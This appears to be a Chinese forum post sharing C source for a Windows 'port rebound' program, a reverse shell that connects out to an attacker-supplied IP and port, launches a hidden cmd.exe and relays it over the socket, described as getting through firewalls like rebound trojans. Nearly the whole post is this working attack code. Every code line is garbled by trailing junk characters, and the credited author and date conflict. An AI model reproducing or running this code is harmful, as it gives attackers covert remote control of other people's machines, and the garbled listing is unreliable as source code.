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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iZC`z }  
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/* ============================== P` ]ps?l  
Rebound port in Windows NT fIkT"?  
By wind,2006/7 3EOyq^I%  
===============================*/ +WL  D  
#include :8]6#c6`74  
#include e=J*Esc@k  
sam[s4@eQ  
#pragma comment(lib,"wsock32.lib") Hirr=a3  
wY`#$)O0*  
void OutputShell(); ZIW7_Y>_  
SOCKET sClient; K~@`o-Z[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "dq>) JF\  
[q"NU&SX  
void main(int argc,char **argv) AT ymKJ  
{ iNLDl~uU  
WSADATA stWsaData; pVz*ZQ[]  
int nRet; GNZ#q)qT  
SOCKADDR_IN stSaiClient,stSaiServer; {(0Id!  
fTgbF{?xh  
if(argc != 3) }4KW@L[g  
{ zbg+6qs})  
printf("Useage:\n\rRebound DestIP DestPort\n"); Pz1G<eh#{g  
return; mu>] 9ZW  
} UR,?!rJ^B  
^U{P3 %uZ  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;@4sd%L8V  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bac|;+L~L  
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stSaiClient.sin_family = AF_INET; ArX]L$ D  
stSaiClient.sin_port = htons(0); yxY h?ka  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'M-)Os "  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0%H24N 9.  
{ }VZM,.w  
printf("Bind Socket Failed!\n"); 1tyNRoET  
return; $eMK{:$O  
} eI?HwP{m  
K1-+A2snhV  
stSaiServer.sin_family = AF_INET; #G~wE*VR$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3P`WPph  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G<fS (q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tNB%eb{  
{ Y{j7Q4{  
printf("Connect Error!"); |?yE^$a  
return; xD^wTtT  
} pJ6Jx(  
OutputShell(); Rdj8 *f  
} )r#,ML  
{83C,C-  
void OutputShell() O!,Ca1N  
{ UQnBqkE  
char szBuff[1024]; jm+ blB^%K  
SECURITY_ATTRIBUTES stSecurityAttributes; 8=pv/o  
OSVERSIONINFO stOsversionInfo; A$ J9U3+O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yWmrdvL  
STARTUPINFO stStartupInfo; =-m(\ }  
char *szShell; XD 5n]AL  
PROCESS_INFORMATION stProcessInformation; OOfy Gvs  
unsigned long lBytesRead; ZIe+  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }1,'rm T  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !YY 6o V  
stSecurityAttributes.lpSecurityDescriptor = 0; X*)?LxTj  
stSecurityAttributes.bInheritHandle = TRUE; '9"%@AFxZ  
{=qEBbM  
[bsXF#  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T:6K?$y?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `ReGnT[  
9p4%8WhJ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); },v&rkwR  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]d^ k4 d  
stStartupInfo.wShowWindow = SW_HIDE; V&g)m.d:n  
stStartupInfo.hStdInput = hReadPipe; TqXg e{r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D/cg7  
*h:D|4oJ(  
GetVersionEx(&stOsversionInfo); ^glX1 )  
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switch(stOsversionInfo.dwPlatformId) 9lKRL'QR  
{ }|SIHz!R  
case 1: 6-tiRk~  
szShell = "command.com";  w"BIv9N  
break; t@6w$5:}  
default: *.:!Ax  
szShell = "cmd.exe"; 1y 1_6TZ+  
break; "~_$T@^k>  
} pL8H8kn  
~Po\ En  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); " cNg :  
)=y.^@UT@  
send(sClient,szMsg,77,0); $,.3&zsy  
while(1) $.``OxJk%  
{ [#IBYJ.6  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [;*\P\Xih  
if(lBytesRead) 40R"^*  
{ VZHr-z$6n  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 28ja-1dB  
send(sClient,szBuff,lBytesRead,0); gU~ L@R_D  
} n%n'1AUP:  
else R9Ldl97'  
{ #t){4J  
lBytesRead=recv(sClient,szBuff,1024,0); k]t,q$Vd  
if(lBytesRead<=0) break; xna7kA  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^)Smv\Md  
} 1>hb-OMX  
} hH#lTye  
JaA&eT|  
return; `(P "u  
}
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